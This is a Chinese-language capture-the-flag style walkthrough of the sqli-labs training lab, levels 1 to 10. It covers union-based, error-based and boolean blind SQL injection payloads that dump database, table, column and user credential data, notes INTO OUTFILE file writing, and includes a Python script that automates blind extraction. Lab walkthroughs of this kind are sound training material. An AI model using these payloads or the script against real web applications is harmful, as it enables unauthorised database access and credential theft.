sqli-labs修炼【1-10】

摘要:本篇是关于sqli-labs第1到第10关的闯关记录

Less-1

  • 单引号闭合,有错误提示,有查询返回点

根据什么来判断是否存在注入呢?我们输入id=1返回正常,并查询出了相关结果,当我们的id=1'时,返回不正常,显示有语法错误,此时,我们假定后端的SQL语句是这样的SELECT * FROM xxx WHERE id ='1''也就是说,我们假定它是以单引号闭合的,而多出来的单引号造成了报错,那么我们需要来验证我们的假设。

验证假设我们可以用id=1'--+在url框里面,--+编码后就是#注释符,但注意在post注入时没有url编码,--+是没有用的;所以--+会注释掉后面的'(单引号),若不会报错,则说明我们假设正确。并据此推断出SQL语句的闭合方式。

根据我们前面介绍的MySQL的相关前提来构造畸形的SQL语句,来达到我们的目的。

先用order by找出字段数

payload:

?id=1' order by 1 --+

?id=1' order by 2 --+

?id=1' order by 3 --+

?id=1' order by 4 --+

image

image

order by本意在有多个结果的时候,根据order by后的字段进行某种排序(加参数),根据mysql的官方文档

select_expr [, select_expr …] [FROM table_references 
[WHERE where_condition] 
[GROUP BY {col_name | expr | position} [ASC | DESC], … [WITH ROLLUP]] [HAVING where_condition] 
[ORDER BY {col_name | expr | position} [ASC | DESC], …]

数字代表位置索引,order by 3也即意为以第三个字段排序;当我们order by 4的时候,报错,表名没有该列,也意味着表中只有三列。

接下来找出回显位置

payload: ?id=0' union select 1,2,3 --+

image

union将两个SQL语句连接,这里要注意id是等于0的,前一个SQL会出错,因为没有id是等于0的,所以将会执行union后的SQL语句,暴露出了两个回显的位置。

爆表爆字段爆值

payload:

?id=0' union select 1,datebase(),3--+

?id=0'union select 1,2,group_concat(table_name) from information_schema.columns where table_schema=database()--+

?id=0'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

?id=0'union select 1,group_concat(username),group_concat(password) from security.users
--+

MySQL基础那篇提到过database()表示当前数据库

image

group_concat()将结果郑赫整合在一起,因此可以返回所有的结果,这里有个细节;查询出来的结果可以看出只有四个表,是有重复的,但是每个表名重复的个数又不尽相同,这是为什么呢?其实这暴露了每个表的字段数,可以查看information_schema.columns的结构,在结合我们的SQL语句,就很明了了。

image
image
image

Less-2

  • 无需引号闭合,有错误提示,有查询返回点

每一步与第一关类似,只是无需引号闭合

image

Less-3

  • 单引号+括弧闭合,有错误提示,有查询返回点

每一步与第一关类似,闭合方式为单引号+括弧

image

Less-4

  • 双引号+括弧闭合,有错误提示,有查询返回点

每一步与第一关类似,闭合方式为双引号+括弧

image

Less-5

  • 单引号闭合,有错误提示,无查询返回点

正式进入盲注了,要像对待第一关一样认真,搞明白,后面的关卡才可以举一反三。盲注只会告诉我们“是”或“不是”,因此可以按照下面的步骤进行手注。

找出闭合方式

我们的第一步要找出是否存在注入漏洞,找出闭合方式,判断闭合方式,我们前面给出了方法,但其实是武断的,随着学习的深入,这里给出更为可靠的判断方法。(还需要认识要用到的截取函数,可以参考这篇文章)

?id=1' and 1=1 --+

?id=1' and 1=2 --+

为什么说前面给的方法武断呢?这是因为,在SQL语法中,引号是可以包含的,单引号可以包含在双引号中,我们payload如:?id=1' --+,回显正常,如果按照最初的方法,我们会认为这里的闭合方式就是单引号闭合,而实际上,,当闭合方式为双引号闭合时,因为单引号可以被包含在双引号中,也会回显正常。

而当前这种方式的时候,如果确实为单引号闭合,and 1=1and 1=2会被当作SQL语句处理,那么两条语句返回肯定是不同的。如果是双引号闭合,因为and后的语句不会被认为是SQL语句,而是普通的字符串,则返回相同。

爆数据库名

payload:

?id=1' and substr(database(),1,1)='s'--+

image

substr(database(),x,y)函数表示从x(从1开始)截取y个database()(当前数据库名字)的字符。以此类推,可以遍历出当前数据库的名字

爆表的个数;爆表名称字符串长度,进而爆出表的名称

payload

?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4
--+

?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6
--+

?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e'
--+

image

这里,先看substr函数里面的部分,select语句查询当前数据库中的表,又使用limit函数来限定返回第1个(我们第一步爆出表的个数在这里就有用了),substr获得这个表的名称,length函数再获得它的长度,以此类推最后便可以判断出该表名称中字符的个数。

image

在这里,select语句查找数据库中的表,使用limit限制从第0个(即第一个)开始,有用substr截取从第一个开始一个字符,拿这个字符与e作比较。我们可以通过修改limit后的0和substr三个参数中第二个参数:1来进行遍历,从而获得所有的标的名称。因为我们已经知道第一个表为emails第一个字符为e所以它显示“you are in ......”

image

爆字段个数;爆字段名称字符串长度,进而爆出字段名称

可以参考前面爆表名称的时候的步骤,做到举一反三。

payload:

?id=1' and (select count(column_name) from information_schema.columns where table_name='emails')=2
--+

?id=1' and length(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1))=2
--+

?id=1' and (substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))='i'
--+

image
image
image

手注是十分十分累的,交给Python吧,下面的脚本是我按照上面的思路写的,一个很辣鸡的面向过程的思路;(ps:直接运行会直接让服务器崩掉的,所以查询出来的结果是没有后半截的,建议理解了后进行修改,只跑单个表,减缓服务器的压力;另外,ip地址:192.168.137)

#!/bin/usr/python3
#-*- coding: utf-8 -*-

import requests

url = "http://192.168.137.75/sqli-labs/Less-5/"
IN = len(requests.get(url+'?id=1').text)
OUT = len(requests.get(url+'?id=0').text)
DATABASE = ''
table = ''
TABLES = []
COLUMNS = []

def fDatabse():
    global DATABASE
    for i in range(1,20):
        for j in range(97,122):#都是小写的,97到122足矣
            payload = "?id=1' and substr(database(),"+str(i)+",1)='"+chr(j)+"'--+"
            # print url+payload
            if(len(requests.get(url+payload).text)==IN):
                #print chr(j)
                DATABASE = DATABASE+chr(j)
                break
        if(len(requests.get(url+"?id=1' and substr(database(),"+str(i)+",1)=''--+").text)==IN):
            break#测试可节省一半以上时间

def fTables():
    global TABLES
    global table
    table_name = ''
    tables_number = 0
    table_length = []

    for i in range(10):
        payload = "?id=1' and (select count(table_name) from information_schema.tables where table_schema = database())=%d--+" % (i)
        if(len(requests.get(url+payload).text)==IN):    #我要是会面向对象该多好,这里一定省很多力
            tables_number = i
            break
    #打印数据表的长度
    print(tables_number)

    for i in range(tables_number):
        for j in range(20):
            payload = "?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),1))=%d--+" % (i,j)          
            #print(url+payload)
            if(len(requests.get(url+payload).text)==IN):
                table_length.append(j)
                break
    #打印出数据表的长度的列表
    print(table_length)

    for i in range(tables_number):
        for k in range(table_length[i]+1):
            for j in range(97,124):
                payload = "?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)='" % (i,k) 
                payload = payload + chr(j)+ "'--+" 
                #print(payload)
                if(len(requests.get(url+payload).text)==IN):
                    table_name = table_name+chr(j)
                    break
        TABLES.append(table_name)
        table_name = ''
    print(TABLES)

def fColumns():
    flag = 0
    columns_number = []
    column_name = ''
    global COLUMNS
    print(TABLES[1])
    for i in TABLES:
        for j in range(1,12):
            payload = "?id=1' and (select count(column_name) from information_schema.columns where table_name='%s')=%d--+" % (i,j)
            #print(payload)
            if(len(requests.get(url+payload).text)==IN):
                columns_number.append(j)    #表中的字段的个数
    for i in range(len(TABLES)):            # 作为表的个数
        for j in range(int(columns_number[i])): #j就是每个表中的列的个数
            for k in range(1,10):               #k作为字段的长度,我们没有判断,按20算最长,配合break,
                for l in range(95,123):     #l作ascii码索引
                    payload = "?id=1' and (substr((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1))='%s'" % (TABLES[i],j,k,chr(l))
                    print(url+payload+"--+")
                    if(len(requests.get(url+payload+"--+").text)==IN):
                        column_name = column_name+chr(l)
                    if(len(requests.get(url+payload[:-1]+"' ' --+").text)==IN):
                        print(url+payload+"--+")
                        flag  = 1
                        break
                if(flag==1):
                    flag = 0
                    break

            COLUMNS.append(column_name)
            column_name = ''
    print(COLUMNS)

fTables()
fColumns()

Less-6

  • 双引号闭合,有错误提示,无查询返回点

参照第五关,需将闭合方式改为双引号闭合

Less-7

  • 单引号+括弧+括弧闭合,无错误提示,无查询返回点

可以通过盲注的思路通关,但是这里提示要用outfile
SELECT ... INTO OUTFILE将语句结果集写入到文件中,也就是说让我们练习使用这个语句向服务器后台写文件,第七关是不会直接显示错误提示信息的,通过对前面第五关的测验,发现问题所在,其中1,2,3数字的位置可以替换为我们的SQL语句,将需要的信息写入后台的文件后再访问该文件查看

image
image

Less-8

  • 单引号闭合,无错误提示,无查询返回点

真正意义上的盲注,不过方法还是相同的

image

Less-9

  • 时间盲注,暂pass

Less-10

  • 时间盲注

你可能感兴趣的:(sqli-labs修炼【1-10】)